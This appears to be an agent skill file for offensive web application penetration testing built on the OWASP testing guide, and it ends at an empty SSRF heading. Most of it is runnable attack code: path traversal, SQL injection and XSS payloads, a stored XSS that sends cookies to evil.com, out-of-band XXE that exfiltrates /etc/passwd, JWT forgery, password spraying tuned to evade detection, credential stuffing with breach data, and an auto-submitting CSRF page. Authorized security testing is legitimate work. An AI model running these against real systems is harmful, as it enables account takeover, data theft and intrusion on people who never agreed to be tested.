---
name: rt-exploit-web
description: "Full OWASP Web Security Testing Guide (WSTG) workflow. 12 testing categories: information gathering, config management, identity, authentication, authorization, session management, input validation, error handling, cryptography, business logic, client-side, API testing. Use as the master web testing skill that routes to specific exploitation skills."
---

# rt-exploit-web — Master Web Application Security Testing Skill

## Overview

This skill implements the full OWASP Web Security Testing Guide (WSTG v4.2) methodology for web application penetration testing. It serves as the **master routing skill** that orchestrates all web testing activities across 12 testing categories, delegating to specialized `rt-exploit-*` sub-skills when deeper exploitation is required.

### Scope

- **Target types**: Web applications, REST APIs, GraphQL endpoints, SPAs, server-side rendered apps, hybrid mobile backends
- **Standard**: OWASP WSTG v4.2 (https://owasp.org/www-project-web-security-testing-guide/)
- **Output**: RTExit-compatible finding records, per-category checklists, severity-rated vulnerabilities
- **Routing**: Routes to `rt-exploit-sqli`, `rt-exploit-xss`, `rt-exploit-ssrf`, `rt-exploit-auth`, `rt-exploit-xxe`, `rt-exploit-idor`, and others

### 12 WSTG Testing Categories

| # | Category | WSTG ID | Routed Skill |
|---|----------|---------|--------------|
| 1 | Information Gathering | WSTG-INFO | (inline) |
| 2 | Configuration & Deployment Management | WSTG-CONF | (inline) |
| 3 | Identity Management | WSTG-IDNT | (inline) |
| 4 | Authentication | WSTG-ATHN | rt-exploit-auth |
| 5 | Authorization | WSTG-ATHZ | rt-exploit-idor |
| 6 | Session Management | WSTG-SESS | (inline) |
| 7 | Input Validation | WSTG-INPV | rt-exploit-sqli, rt-exploit-xss, rt-exploit-xxe |
| 8 | Error Handling | WSTG-ERRH | (inline) |
| 9 | Cryptography | WSTG-CRYP | (inline) |
| 10 | Business Logic | WSTG-BUSL | (inline) |
| 11 | Client-Side | WSTG-CLNT | rt-exploit-xss |
| 12 | API Testing | WSTG-APIT | rt-exploit-api |

---

## Skill Levels

### BEGINNER

> Focus: Passive recon, automated scanning, basic manual checks. Use guided commands exactly as written.

Prerequisites:
- Burp Suite Community installed and proxy configured
- `nmap`, `curl`, `wget` available
- Python 3 with `requests` library
- `nikto` installed (`sudo apt install nikto`)
- Written authorization / scope document confirmed

### INTERMEDIATE

> Focus: Manual exploitation of discovered issues, chaining vulnerabilities, custom payloads.

Prerequisites: All BEGINNER tools plus:
- Burp Suite Professional (Scanner, Intruder, Collaborator)
- `sqlmap`, `ffuf`, `gobuster` installed
- `nuclei` with community templates
- Basic Python scripting ability

### ADVANCED

> Focus: Zero-day research, logic flaw abuse, WAF bypass, complex chaining.

Prerequisites: All INTERMEDIATE tools plus:
- Custom Burp extensions (AuthMatrix, Param Miner, Turbo Intruder)
- `caido` or `mitmproxy` for scripted interception
- `semgrep` for source-assisted testing
- Understanding of JWT, OAuth2, SAML internals

### EXPERT

> Focus: Novel attack surface research, supply chain, race conditions, cryptographic flaws, full kill-chain simulation.

Prerequisites: All ADVANCED tools plus:
- Source code access (white-box) preferred
- Custom exploit development capability
- `frida` for runtime instrumentation (hybrid apps)
- `go-exploit` or custom tooling
- Threat intelligence context for target

---

## Step-by-Step Attack Workflow

### Phase 0: Pre-Engagement Setup

```bash
# Create engagement directory structure
export TARGET="https://target.example.com"
export ENG_ID="RT-2024-042"
export OUT_DIR="$HOME/engagements/$ENG_ID/web"
mkdir -p "$OUT_DIR"/{recon,scans,exploits,evidence,docs}
cd "$OUT_DIR"

# Record scope
cat > scope.txt << 'EOF'
# In-scope
*.target.example.com
10.10.10.0/24
# Out-of-scope
mail.target.example.com
EOF

# Set up logging (all curl output to file)
export CURL_OPTS="-sk --max-time 30 -A 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'"
```

---

## Category 1: Information Gathering (WSTG-INFO)

### BEGINNER Steps

```bash
# WSTG-INFO-01: Conduct Search Engine Discovery
# Google dorks
# site:target.example.com filetype:pdf
# site:target.example.com ext:php OR ext:asp OR ext:aspx
# intitle:"index of" site:target.example.com
# "target.example.com" inurl:login OR inurl:admin OR inurl:portal

# Automate with theHarvester
theHarvester -d target.example.com -b google,bing,yahoo,dnsdumpster -f "$OUT_DIR/recon/theharvester.html"

# WSTG-INFO-02: Fingerprint Web Server
curl -sI "$TARGET" | tee "$OUT_DIR/recon/headers.txt"
curl -sk "$TARGET/nonexistent-page-404" -I | tee "$OUT_DIR/recon/404-response.txt"

# WSTG-INFO-03: Review Webserver Metafiles
curl -sk "$TARGET/robots.txt" | tee "$OUT_DIR/recon/robots.txt"
curl -sk "$TARGET/sitemap.xml" | tee "$OUT_DIR/recon/sitemap.xml"
curl -sk "$TARGET/.well-known/security.txt"
curl -sk "$TARGET/crossdomain.xml"
curl -sk "$TARGET/clientaccesspolicy.xml"

# WSTG-INFO-04: Enumerate Application Entry Points
# Use Burp Spider or browser crawl, then export
# Manual: note all forms, query params, API endpoints, file uploads

# WSTG-INFO-05: Identify Application Entry Points via JS
# Download all JS files and search for API endpoints
curl -sk "$TARGET" | grep -oP 'src="[^"]+"' | grep '\.js' | sed 's/src="//' | sed 's/"//'

# WSTG-INFO-06: Identify Application Frameworks
whatweb "$TARGET" -a 3 | tee "$OUT_DIR/recon/whatweb.txt"
wappalyzer-cli "$TARGET" 2>/dev/null || echo "Use browser Wappalyzer extension"

# WSTG-INFO-07: Map Application Architecture
# Check for load balancer inconsistencies
for i in {1..5}; do curl -sk -I "$TARGET" | grep -i "server\|x-powered-by\|x-asp"; done
```

### INTERMEDIATE Steps

```bash
# Passive DNS enumeration
amass enum -passive -d target.example.com -o "$OUT_DIR/recon/amass-passive.txt"
subfinder -d target.example.com -o "$OUT_DIR/recon/subfinder.txt"

# Active DNS brute force
amass enum -active -brute -d target.example.com \
  -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt \
  -o "$OUT_DIR/recon/amass-active.txt"

# Certificate transparency
curl -s "https://crt.sh/?q=%25.target.example.com&output=json" | \
  python3 -c "import sys,json; [print(e['name_value']) for e in json.load(sys.stdin)]" | \
  sort -u | tee "$OUT_DIR/recon/crtsh.txt"

# JS endpoint extraction (advanced)
# Install: pip3 install jsbeautifier
python3 - << 'EOF'
import re, requests, jsbeautifier
target = "https://target.example.com"
r = requests.get(target, verify=False)
js_urls = re.findall(r'src=["\']([^"\']+\.js[^"\']*)["\']', r.text)
endpoints = []
for js in js_urls:
    if not js.startswith('http'):
        js = target.rstrip('/') + '/' + js.lstrip('/')
    try:
        code = requests.get(js, verify=False).text
        beautiful = jsbeautifier.beautify(code)
        found = re.findall(r'["\'](/api/[^"\']+|/v\d/[^"\']+)["\']', beautiful)
        endpoints.extend(found)
    except:
        pass
print('\n'.join(set(endpoints)))
EOF
```

### ADVANCED Steps

```bash
# Historical URL analysis via Wayback Machine
waybackurls target.example.com | tee "$OUT_DIR/recon/wayback.txt"
# Filter for interesting params
cat "$OUT_DIR/recon/wayback.txt" | grep -E '\?.*=' | qsreplace FUZZ | sort -u

# GAU (GetAllURLs) combining multiple sources
gau --subs target.example.com | tee "$OUT_DIR/recon/gau.txt"

# ASN and IP range mapping
# Find ASN
curl -s "https://api.bgpview.io/search?query_term=target%20company%20name" | python3 -m json.tool
# Get IP ranges
whois -h whois.radb.net -- '-i origin AS12345' | grep ^route

# Virtual host enumeration
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt \
  -u "$TARGET" -H "Host: FUZZ.target.example.com" \
  -fs 0 -mc all -o "$OUT_DIR/recon/vhosts.json"
```

---

## Category 2: Configuration & Deployment Management (WSTG-CONF)

### BEGINNER Steps

```bash
# WSTG-CONF-01: Test Network/Infrastructure Configuration
nmap -sV -sC -p 80,443,8080,8443,8888,3000,4000,5000 target.example.com \
  -oA "$OUT_DIR/scans/nmap-web"

# WSTG-CONF-02: Test Application Platform Configuration
# Check for default error pages exposing stack traces
curl -sk "$TARGET/index.php?id=1'" 
curl -sk "$TARGET/?page=../../../../etc/passwd"
curl -sk "$TARGET/web.config"
curl -sk "$TARGET/.git/HEAD"
curl -sk "$TARGET/.env"
curl -sk "$TARGET/config.php"
curl -sk "$TARGET/wp-config.php"
curl -sk "$TARGET/applicationHost.config"

# WSTG-CONF-03: Test File Extension Handling
for ext in php asp aspx jsp cfm cgi pl py rb; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" "$TARGET/test.$ext")
  echo "$ext: $code"
done

# WSTG-CONF-04: Backup and Unreferenced Files
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt \
  -u "$TARGET/FUZZ" -mc 200,301,302,403 \
  -o "$OUT_DIR/scans/ffuf-common.json" -of json

# WSTG-CONF-05: Enumerate Infrastructure and Application Admin Interfaces
for path in admin administrator wp-admin panel control manager cpanel phpmyadmin; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" "$TARGET/$path")
  [[ $code != "404" ]] && echo "[$code] $TARGET/$path"
done
```

### INTERMEDIATE Steps

```bash
# WSTG-CONF-06: HTTP Methods
for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE CONNECT; do
  echo -n "$method: "
  curl -sk -X "$method" "$TARGET" -I | head -1
done

# WSTG-CONF-07: HTTP Strict Transport Security
curl -sk -I "https://target.example.com" | grep -i "strict-transport"

# Check security headers comprehensively
python3 - << 'EOF'
import requests
headers_to_check = [
    'Strict-Transport-Security',
    'Content-Security-Policy',
    'X-Frame-Options',
    'X-Content-Type-Options',
    'Referrer-Policy',
    'Permissions-Policy',
    'X-XSS-Protection',
    'Cross-Origin-Embedder-Policy',
    'Cross-Origin-Opener-Policy',
    'Cross-Origin-Resource-Policy',
]
r = requests.get('https://target.example.com', verify=False)
for h in headers_to_check:
    val = r.headers.get(h, 'MISSING')
    status = 'OK' if val != 'MISSING' else 'MISSING'
    print(f"[{status}] {h}: {val}")
EOF

# WSTG-CONF-08: RIA Cross Domain Policy
curl -sk "$TARGET/crossdomain.xml"
# Dangerous: <allow-access-from domain="*"/>

# WSTG-CONF-09: File Permission
# Check for sensitive files
for f in .DS_Store .svn/entries .git/config .hg/hgrc CVS/Entries \
          .htaccess .htpasswd web.config WEB-INF/web.xml; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" "$TARGET/$f")
  [[ $code == "200" ]] && echo "[FOUND] $TARGET/$f"
done

# Git repository exposure
python3 - << 'EOF'
import requests
git_files = ['.git/HEAD', '.git/config', '.git/COMMIT_EDITMSG',
             '.git/index', '.git/packed-refs', '.git/refs/heads/master']
base = 'https://target.example.com'
for f in git_files:
    r = requests.get(f'{base}/{f}', verify=False)
    if r.status_code == 200:
        print(f'[EXPOSED] {f}')
        print(r.text[:200])
EOF

# If .git exposed, use git-dumper
# pip3 install git-dumper
git-dumper https://target.example.com/.git "$OUT_DIR/exploits/git-dump"
```

### ADVANCED Steps

```bash
# Cloud storage enumeration
# S3 buckets
for bucket in target targetapp target-assets target-backup target-prod target-dev; do
  aws s3 ls s3://$bucket 2>/dev/null && echo "[OPEN] s3://$bucket"
  curl -sk "https://$bucket.s3.amazonaws.com" | grep -i "listbucketresult\|accessdenied"
done

# Azure blobs
for container in target backup assets media static; do
  curl -sk "https://target.blob.core.windows.net/$container?restype=container&comp=list"
done

# Nuclei config management templates
nuclei -u "$TARGET" -t misconfiguration/ -t exposures/ \
  -o "$OUT_DIR/scans/nuclei-config.txt" -severity medium,high,critical

# Check CORS misconfiguration
python3 - << 'EOF'
import requests
origins = [
    'https://evil.com',
    'https://target.example.com.evil.com',
    'null',
    'https://notarget.example.com',
]
target = 'https://target.example.com/api/user'
for origin in origins:
    r = requests.options(target, headers={'Origin': origin}, verify=False)
    acao = r.headers.get('Access-Control-Allow-Origin', '')
    acac = r.headers.get('Access-Control-Allow-Credentials', '')
    if acao:
        print(f'Origin: {origin}')
        print(f'  ACAO: {acao}, ACAC: {acac}')
EOF
```

---

## Category 3: Identity Management (WSTG-IDNT)

### BEGINNER Steps

```bash
# WSTG-IDNT-01: Test Role Definitions
# Manual: document all roles visible in app (admin, user, moderator, etc.)
# Check URL patterns:
# /admin/* - admin role
# /user/* - standard user
# /api/v1/admin/* - API admin

# WSTG-IDNT-02: Test User Registration Process
# Check for:
# - Duplicate username registration
# - Email enumeration during registration
# - Weak password policies
# - Account activation bypass
curl -sk -X POST "$TARGET/api/register" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","email":"test@test.com","password":"Password1!"}' | python3 -m json.tool

# WSTG-IDNT-04: Test Account Enumeration
# Timing-based enumeration
python3 - << 'EOF'
import requests, time
target = 'https://target.example.com/api/forgot-password'
usernames = ['admin', 'administrator', 'test', 'user', 'support', 'nonexistent_xyz']
for user in usernames:
    start = time.time()
    r = requests.post(target, json={'email': f'{user}@target.example.com'}, verify=False)
    elapsed = time.time() - start
    print(f'{user}: {r.status_code} - {elapsed:.3f}s - {r.text[:100]}')
EOF
```

### INTERMEDIATE Steps

```bash
# Username enumeration via response differences
python3 - << 'EOF'
import requests
target = 'https://target.example.com/login'
# Compare response for valid vs invalid user
valid_user = {'username': 'admin', 'password': 'wrongpassword'}
invalid_user = {'username': 'nonexistentxyz123', 'password': 'wrongpassword'}

r1 = requests.post(target, data=valid_user, verify=False, allow_redirects=False)
r2 = requests.post(target, data=invalid_user, verify=False, allow_redirects=False)

print(f'Valid user response: {r1.status_code} len={len(r1.text)}')
print(f'Invalid user response: {r2.status_code} len={len(r2.text)}')
print(f'Same response: {r1.text == r2.text}')
# If different -> username enumeration possible
EOF

# Wordlist-based user enumeration with ffuf
ffuf -w /usr/share/wordlists/SecLists/Usernames/top-usernames-shortlist.txt \
  -u "$TARGET/api/reset-password" \
  -X POST -H "Content-Type: application/json" \
  -d '{"email":"FUZZ@target.example.com"}' \
  -mr "email sent|found|success" \
  -o "$OUT_DIR/scans/user-enum.json"
```

---

## Category 4: Authentication Testing (WSTG-ATHN)

> **Route to**: `rt-exploit-auth` for deep exploitation

### BEGINNER Steps

```bash
# WSTG-ATHN-01: Test Credentials Transported over Encrypted Channel
# Check for HTTP login form
curl -sk -L "http://target.example.com/login" | grep -i "form\|action\|password"
# Confirm no mixed content: https page with http form action

# WSTG-ATHN-02: Test Default Credentials
python3 - << 'EOF'
import requests
target = 'https://target.example.com/login'
creds = [
    ('admin', 'admin'), ('admin', 'password'), ('admin', 'admin123'),
    ('admin', 'Password1'), ('administrator', 'administrator'),
    ('root', 'root'), ('test', 'test'), ('guest', 'guest'),
    ('admin', ''), ('', ''), ('admin', '1234'),
]
for user, pwd in creds:
    r = requests.post(target, data={'username': user, 'password': pwd},
                      verify=False, allow_redirects=False)
    if r.status_code in [200, 302] and 'invalid' not in r.text.lower():
        print(f'[POTENTIAL HIT] {user}:{pwd} -> {r.status_code}')
EOF

# WSTG-ATHN-03: Test Account Lockout
python3 - << 'EOF'
import requests
target = 'https://target.example.com/login'
for i in range(15):
    r = requests.post(target, data={'username': 'admin', 'password': f'wrong{i}'},
                      verify=False)
    print(f'Attempt {i+1}: {r.status_code} - locked: {"lock" in r.text.lower()}')
EOF
```

### INTERMEDIATE Steps

```bash
# WSTG-ATHN-06: Test Browser Cache for Password
# Check response headers for login/sensitive pages
curl -sk -I "$TARGET/account/profile" -b "session=YOURSESSIONCOOKIE" | \
  grep -i "cache-control\|pragma\|expires"

# WSTG-ATHN-07: Test Password Policy
python3 - << 'EOF'
import requests
target = 'https://target.example.com/api/register'
# Test various weak passwords
weak_passwords = ['1', '12', '123', 'abc', 'password', 'P@ss', '12345678']
for pwd in weak_passwords:
    r = requests.post(target, json={'username': 'testuser_xyz', 
                                     'password': pwd, 
                                     'email': 'test@test.com'}, verify=False)
    print(f'{pwd!r}: {r.status_code} - {r.text[:80]}')
EOF

# WSTG-ATHN-09: Test Password Reset
# 1. Capture reset token format
# 2. Check expiry
# 3. Check reusability
# 4. Check host header injection
curl -sk -X POST "$TARGET/forgot-password" \
  -H "Host: evil.com" \
  -d "email=victim@target.example.com"
# If reset link sent with evil.com as base -> host header injection

# JWT Testing
# Decode JWT
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
echo $TOKEN | cut -d. -f1 | base64 -d 2>/dev/null | python3 -m json.tool
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool

# JWT none algorithm attack
python3 - << 'EOF'
import base64, json
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "1", "name": "admin", "role": "admin", "iat": 9999999999}
def b64url(data):
    return base64.urlsafe_b64encode(json.dumps(data).encode()).rstrip(b'=').decode()
token = f"{b64url(header)}.{b64url(payload)}."
print(f"None-alg token: {token}")
EOF
```

### ADVANCED Steps

```bash
# JWT Secret Brute Force
# pip3 install jwt-tool
python3 jwt_tool.py "$TOKEN" -C -d /usr/share/wordlists/rockyou.txt

# hashcat JWT crack
hashcat -a 0 -m 16500 "$TOKEN" /usr/share/wordlists/rockyou.txt

# OAuth2 Testing
# 1. Authorization code interception
# Modify redirect_uri to attacker-controlled domain
# 2. CSRF on OAuth flow (missing state parameter)
# 3. Open redirect in redirect_uri
curl -sk "$TARGET/oauth/authorize?client_id=app&redirect_uri=https://evil.com&response_type=code&state="

# SAML Testing
# Install: pip3 install saml2
# Check for XML signature wrapping
# Check for XXE in SAML assertions
# Decode SAML response:
echo "BASE64_SAML_RESPONSE" | base64 -d | xmllint --format -

# Multi-factor authentication bypass
# 1. Response manipulation (change 401 to 200)
# 2. Skip MFA endpoint entirely
# 3. OTP brute force (if no lockout)
python3 - << 'EOF'
import requests
session = requests.Session()
# Login step 1
r1 = session.post('https://target.example.com/login', 
                   data={'user': 'admin', 'pass': 'password'}, verify=False)
# Skip MFA - try to access protected resource directly
r2 = session.get('https://target.example.com/dashboard', verify=False)
print(f'MFA bypass: {r2.status_code} - {len(r2.text)} bytes')
EOF
```

### EXPERT Steps

```bash
# Password spraying with intelligent delay to avoid lockout
python3 - << 'EOF'
import requests, time, random
target = 'https://target.example.com/api/auth'
# One password across many users (avoids per-account lockout)
users = open('/tmp/users.txt').read().splitlines()
password = 'Winter2024!'  # Seasonal password common in enterprises
results = []
for user in users:
    r = requests.post(target, json={'username': user, 'password': password},
                      verify=False, timeout=10)
    if r.status_code == 200 or 'token' in r.text.lower():
        results.append(f'HIT: {user}:{password}')
        print(results[-1])
    # Random delay between 30-90s to avoid detection
    time.sleep(random.randint(30, 90))
print('\n'.join(results))
EOF

# Credential stuffing with known breach databases
# Using valid breach data (authorized engagement only)
python3 - << 'EOF'
import requests, concurrent.futures
target = 'https://target.example.com/login'
creds = [line.strip().split(':') for line in open('/tmp/breach-creds.txt') if ':' in line]

def try_cred(user_pass):
    user, pwd = user_pass
    try:
        r = requests.post(target, data={'username': user, 'password': pwd},
                          verify=False, timeout=5, allow_redirects=False)
        if r.status_code in [200, 302] and 'dashboard' in r.headers.get('Location', ''):
            return f'HIT: {user}:{pwd}'
    except:
        pass
    return None

with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:
    results = list(executor.map(try_cred, creds))
hits = [r for r in results if r]
print('\n'.join(hits))
EOF

# Kerberoasting web-integrated auth (Windows environments)
# When app uses Windows auth / negotiate
curl -sk --negotiate -u : "$TARGET/api/data" -v 2>&1 | grep -i "www-authenticate\|authorization"

# Race condition on token validation
python3 - << 'EOF'
import requests, threading, time
target = 'https://target.example.com/api/verify-email'
token = 'VALID_ONE_TIME_TOKEN'
results = []
def use_token():
    r = requests.post(target, json={'token': token}, verify=False)
    results.append((time.time(), r.status_code, r.text[:50]))

threads = [threading.Thread(target=use_token) for _ in range(20)]
start = time.time()
for t in threads:
    t.start()
for t in threads:
    t.join()
for ts, code, text in results:
    print(f'{ts-start:.3f}s: {code} - {text}')
# If multiple 200 responses -> race condition in token validation
EOF
```

---

## Category 5: Authorization Testing (WSTG-ATHZ)

> **Route to**: `rt-exploit-idor` for deep IDOR/BOLA exploitation

### BEGINNER Steps

```bash
# WSTG-ATHZ-01: Directory Traversal
for payload in \
  '../etc/passwd' \
  '../../etc/passwd' \
  '../../../etc/passwd' \
  '....//....//etc/passwd' \
  '%2e%2e%2f%2e%2e%2fetc%2fpasswd' \
  '..%252f..%252fetc%252fpasswd' \
  '%252e%252e%252fetc%252fpasswd'; do
  result=$(curl -sk "$TARGET/download?file=$payload" | head -3)
  [[ $result == *"root:"* ]] && echo "[VULN] payload: $payload"
done

# WSTG-ATHZ-02: Test for Bypassing Authorization Schema
# Access admin endpoints as low-priv user
# Setup: get session token for user A (low priv) and user B (high priv)
USER_A_TOKEN="USER_A_SESSION_TOKEN"
ADMIN_ENDPOINT="$TARGET/api/admin/users"
curl -sk "$ADMIN_ENDPOINT" -H "Authorization: Bearer $USER_A_TOKEN"

# WSTG-ATHZ-03: IDOR - Horizontal privilege escalation
# Change ID in URL/body to another user's ID
curl -sk "$TARGET/api/users/1001/profile" -H "Authorization: Bearer $USER_A_TOKEN"
curl -sk "$TARGET/api/users/1002/profile" -H "Authorization: Bearer $USER_A_TOKEN"
curl -sk "$TARGET/api/orders/ORDER_ID_OF_OTHER_USER" -H "Authorization: Bearer $USER_A_TOKEN"
```

### INTERMEDIATE Steps

```bash
# Systematic IDOR testing
python3 - << 'EOF'
import requests
target_base = 'https://target.example.com/api/users'
token = 'YOUR_LOW_PRIV_TOKEN'
headers = {'Authorization': f'Bearer {token}'}
your_id = 1042

for user_id in range(1, 2000):
    if user_id == your_id:
        continue
    r = requests.get(f'{target_base}/{user_id}', headers=headers, verify=False)
    if r.status_code == 200:
        data = r.json()
        print(f'[IDOR] ID {user_id}: {data.get("email", "")}, {data.get("name", "")}')
EOF

# HTTP method override for authorization bypass
# Some proxies/apps honor X-HTTP-Method-Override
curl -sk "$TARGET/api/admin/delete-user" \
  -X POST \
  -H "X-HTTP-Method-Override: DELETE" \
  -H "Authorization: Bearer $USER_A_TOKEN" \
  -d '{"user_id": 9999}'

# Path traversal in authorization
# /api/user/self/profile -> /api/user/../admin/profile
for path in \
  "self/../../admin/config" \
  "profile/../../admin/users" \
  "data/%2e%2e/%2e%2e/admin"; do
  curl -sk "$TARGET/api/user/$path" -H "Authorization: Bearer $USER_A_TOKEN"
done
```

### ADVANCED Steps

```bash
# Mass assignment / object property injection
# If app uses user-supplied JSON to update user object
curl -sk -X PATCH "$TARGET/api/users/profile" \
  -H "Authorization: Bearer $USER_A_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"attacker","email":"attacker@evil.com","role":"admin","is_admin":true,"account_type":"premium"}'

# Parameter pollution for authz bypass
curl -sk "$TARGET/api/transfer?to=victim&amount=100&to=attacker"

# GraphQL authorization bypass
curl -sk -X POST "$TARGET/graphql" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_A_TOKEN" \
  -d '{"query":"{ adminUsers { id email role } }"}'

# Introspection + field-level auth bypass
curl -sk -X POST "$TARGET/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { queryType { fields { name } } } }"}'
```

---

## Category 6: Session Management (WSTG-SESS)

### BEGINNER Steps

```bash
# WSTG-SESS-01: Cookie attributes
curl -sk -I "$TARGET/login" | grep -i "set-cookie"
# Check for: Secure, HttpOnly, SameSite flags
# Dangerous: Set-Cookie: session=abc123; Path=/
# Safe:     Set-Cookie: session=abc123; Path=/; Secure; HttpOnly; SameSite=Strict

# WSTG-SESS-02: Cookie entropy analysis
python3 - << 'EOF'
import math, base64, binascii

def entropy(s):
    prob = {c: s.count(c)/len(s) for c in set(s)}
    return -sum(p * math.log2(p) for p in prob.values())

tokens = [
    'abc123',                  # weak
    'a1b2c3d4e5f6g7h8i9j0',  # medium
    'eyJhbGciOiJIUzI1NiJ9',   # base64 JWT
]
for t in tokens:
    e = entropy(t)
    print(f'Token: {t[:20]} | Entropy: {e:.2f} | Strength: {"WEAK" if e < 3.5 else "OK"}')
EOF

# WSTG-SESS-06: Session Fixation
# 1. Get unauthenticated session ID
# 2. Login with that session ID
# 3. Check if session ID changes after login
SESSION_BEFORE=$(curl -sk -c /tmp/cookies.txt "$TARGET/login" && grep -i "session" /tmp/cookies.txt | awk '{print $NF}')
curl -sk -X POST "$TARGET/login" -b /tmp/cookies.txt -d "user=admin&pass=password" -c /tmp/cookies-after.txt
SESSION_AFTER=$(grep -i "session" /tmp/cookies-after.txt | awk '{print $NF}')
[[ "$SESSION_BEFORE" == "$SESSION_AFTER" ]] && echo "[VULN] Session fixation: session ID not regenerated after login"
```

### INTERMEDIATE Steps

```bash
# WSTG-SESS-04: Session Token Predictability
python3 - << 'EOF'
import requests, time
target = 'https://target.example.com/login'
tokens = []
for i in range(20):
    r = requests.post(target, data={'user': f'test{i}@test.com', 'pass': 'Password1!'},
                      verify=False)
    # Extract session token from response
    token = r.cookies.get('session') or r.headers.get('Set-Cookie', '')
    tokens.append(token)
    print(f'Token {i}: {token}')
# Manually inspect for sequential patterns, timestamps, etc.
EOF

# CSRF Testing
# WSTG-SESS-05: Check for CSRF token on state-changing actions
curl -sk "$TARGET/account/settings" -b "session=VALID_SESSION" | grep -i "csrf\|_token\|xsrf"
# Try request without CSRF token
curl -sk -X POST "$TARGET/account/change-email" \
  -b "session=VALID_SESSION" \
  -d "email=attacker@evil.com"
# If successful -> CSRF vulnerability

# SameSite cookie bypass via top-level navigation
# Craft PoC:
cat > /tmp/csrf-poc.html << 'EOF'
<html>
<body>
<form action="https://target.example.com/account/change-email" method="POST">
  <input type="hidden" name="email" value="attacker@evil.com">
  <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
EOF
```

### ADVANCED Steps

```bash
# Session puzzling / session variable overloading
# Use same session variable for multiple purposes
# 1. Start password reset (sets session['user'] = victim@example.com)
# 2. Before using reset link, register new account
# 3. See if reset completes for victim's account

# Cookie tossing attack (subdomain cookie injection)
# If subdomain can set cookies for parent domain
# Inject: document.cookie = "session=ATTACKER_VALUE; domain=.target.example.com; path=/"
curl -sk "https://evil.target.example.com/set-cookie" 
# Check if attacker's cookie overwrites victim's in login flow

# JWT session confusion
python3 - << 'EOF'
import jwt, json, base64
# RS256 -> HS256 confusion attack
# Get public key from /jwks.json or cert
r_pubkey = open('/tmp/target_pubkey.pem').read()
# Forge token signed with public key using HS256
payload = {"sub": "1", "role": "admin", "iat": 9999999999}
# Sign using public key as HMAC secret
forged = jwt.encode(payload, r_pubkey, algorithm='HS256')
print(f'Forged token: {forged}')
EOF
```

---

## Category 7: Input Validation (WSTG-INPV)

> **Routes to**: `rt-exploit-sqli`, `rt-exploit-xss`, `rt-exploit-xxe`, `rt-exploit-ssrf`, `rt-exploit-ssti`

### BEGINNER Steps — SQL Injection

```bash
# WSTG-INPV-05: SQL Injection Detection
# Error-based detection
for payload in "'" '"' "1'" "1' OR '1'='1" "1 AND 1=1" "1 AND 1=2" "' OR 1=1--" "' OR 'x'='x"; do
  echo "Testing: $payload"
  curl -sk "$TARGET/search?q=$payload" | grep -i "sql\|syntax\|mysql\|oracle\|postgres\|error"
done

# Automated SQLi detection
sqlmap -u "$TARGET/search?q=1" --level=1 --risk=1 --batch \
  -o --output-dir="$OUT_DIR/scans/sqlmap"

# Boolean-based blind
sqlmap -u "$TARGET/search?q=1" --technique=B --level=3 --batch \
  --output-dir="$OUT_DIR/scans/sqlmap"

# POST body injection
sqlmap -u "$TARGET/login" --data="username=admin&password=test" \
  -p username --dbms=mysql --batch \
  --output-dir="$OUT_DIR/scans/sqlmap-post"
```

### BEGINNER Steps — XSS

```bash
# WSTG-INPV-01: Reflected XSS
for payload in \
  '<script>alert(1)</script>' \
  '"><script>alert(1)</script>' \
  "'><img src=x onerror=alert(1)>" \
  '<svg onload=alert(1)>' \
  'javascript:alert(1)'; do
  result=$(curl -sk "$TARGET/search?q=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")")
  echo $result | grep -q "alert(1)" && echo "[POTENTIAL XSS] $payload"
done

# Stored XSS - check user profile fields
curl -sk -X POST "$TARGET/api/profile" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"<script>document.location=`https://evil.com/?c=${document.cookie}`</script>"}'
```

### INTERMEDIATE Steps — XXE

```bash
# WSTG-INPV-07: XML External Entity Injection
# Basic XXE payload
cat > /tmp/xxe-basic.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<userInfo>
  <firstName>&xxe;</firstName>
  <lastName>test</lastName>
</userInfo>
EOF

curl -sk -X POST "$TARGET/api/import" \
  -H "Content-Type: application/xml" \
  -d @/tmp/xxe-basic.xml

# OOB XXE (when no response reflection)
# Start: python3 -m http.server 8080 (on your server)
cat > /tmp/xxe-oob.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://YOUR_BURP_COLLABORATOR/xxe.dtd">
  %xxe;
]>
<root>&send;</root>
EOF

# External DTD file (host on your server):
cat > /tmp/xxe.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY send SYSTEM 'http://YOUR_SERVER/?data=%file;'>">
%wrap;
EOF

# SSRF via XXE
cat > /tmp/xxe-ssrf.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<data>&ssrf;</data>
EOF

curl -sk -X POST "$TARGET/api/process-xml" \
  -H "Content-Type: application/xml" \
  -d @/tmp/xxe-ssrf.xml
```

### INTERMEDIATE Steps — SSRF

```bash
